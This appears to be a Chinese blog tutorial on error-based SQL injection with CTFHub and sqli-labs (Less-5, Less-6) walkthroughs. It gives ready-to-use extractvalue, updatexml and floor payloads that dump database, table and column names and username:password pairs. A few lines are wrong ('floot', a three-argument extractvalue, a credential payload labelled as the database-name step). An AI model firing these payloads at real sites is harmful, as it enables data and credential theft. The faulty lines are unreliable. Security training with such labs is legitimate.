1.什么是报错注入
报错注入(Error-based Injection)是 SQL 注入的一种类型,通过构造恶意 SQL 语句触发数据库错误,利用错误信息泄露敏感数据。核心原理是 将需要查询的信息(如数据库名、表名)嵌入到错误信息中 ,当应用返回错误时,攻击者即可从错误提示中获取数据
2.报错注入的分类
1.数据类型溢出
大整数溢出
2.函数参数格式错误
Xpath报错:1.select updatexml(1,concat(0x7e,(select @@version),0x7e),1);# 2.select extractvalue(1,concat(0x7e,(select @@version),0x7e),1);#
3.主键/字段重复
主键重复:select count(*),(concat(floot(rand(0)*2),(select version())))x from users group by x;#
3.解决步骤
前期工作:
-1: 测试注入点存在 :输入单引号、双引号等特殊字符,观察页面是否返回 SQL 语法错误。
- 示例:访问 http://target/?id=1' ,若返回 You have an error in your SQL syntax ,说明存在注入点。 -2:确定闭合方式 :测试单引号、双引号、括号等闭合方式,确认原始 SQL 语句的参数包裹形式。
- 例如:输入 1' 报错,输入 1') 不报错,说明闭合方式为 ('id') 。
-3:选择报错函数
- MySQL: - extractvalue() :路径参数非法时报错。 - updatexml() :路径参数非法时报错。 - floor(rand(0)*2) + group by :主键重复报错。
1. 获取数据库名
构造 payload 调用 database() 函数,将数据库名嵌入错误信息:
- 示例(MySQL + extractvalue):
http://target/?id=1' and extractvalue(1,concat(0x7e, (select group_concat(username, 0x3a,password) from users), 0x7e)) -- 错误信息显示: XPATH syntax error: 'security' ( security 为数据库名)。
2.获取表名
查询 information_schema.tables 获取数据库中的表:
- 示例:
http://target/?id=1' and extractvalue(1,concat(0x7e, (select group_concat (table_name) from information_schema.tables where table_schema='security'),0x7e)) -- 错误信息显示表名(如 emails,referers,uagents,users )。3. 获取字段名
查询 information_schema.columns 获取表中的字段:
- 示例:
http://target/?id=1' and extractvalue(1,concat(0x7e, (select group_concat (column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) -- 错误信息显示字段名(如 id,username,password )。
4.获取数据
查询表中的具体数据(如用户名、密码):
- 示例:
http://target/?id=1' and extractvalue(1,concat(0x7e, (select group_concat(username, 0x3a,password) from users), 0x7e)) --
错误信息显示用户数据(如 Dumb:Dumb,Angelina:I-kill-you )。
5.处理数据长度限制
部分报错函数(如 extractvalue() 、 updatexml() )返回的错误信息长度有限制(通常为 32 个字符),需通过以下方式处理:
- 分段查询 :使用 substring() 或 limit 语句分批获取数据。
- 示例: http://target/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30),0x7e)) --
4.ctfhub(报错注入)
我们输入1试试
我们在1后面加 一个' /"/)查看是什么闭合
当我们输入1'是返回的页面说我们的SQL的语法错误,(如 You have an error in your SQL syntax ),说明存在注入点且错误信息可见。
我们构造报错payload来获取数据库名
使用extractvalue() 函数触发错误,同时获取当前数据库名:
?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) %23
我们的得到了sqli的库,接下来我们获取表名
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli'),0x7e)) %23
我们得到了flag表,然后获取字段名
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e)) %23
最后获取flag数据
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) %23

5.sqli-labs Less-5
我们先输入?id=1/2/2-1判断是否为数字型或者字符型注入
结果发现都没有反应,我们尝试是否为报错注入,?id=1'
**
我们发现了You have an error in your SQL syntax;说明存在注入点且错误信息可见。我们构造报错payload来获取数据库名使用extractvalue() 函数触发错误,同时获取当前数据库名:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) %23
我们发现了security的库,接下来我们获取表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) %23
我们得到了users的表名,然后获取字段名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) %23
最后我们获取数据库里的usename,password
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password)from users),0x7e)) %23
如果出现
使用1' and extractvalue(1,concat(0x7e,(select group_concat(password) from (select password from users)a),0x7e))
6.sqli-labs Less-6
和sqli-labs Less-5解法相同,就是把 ‘ 改为 “
评论区
评论加载中...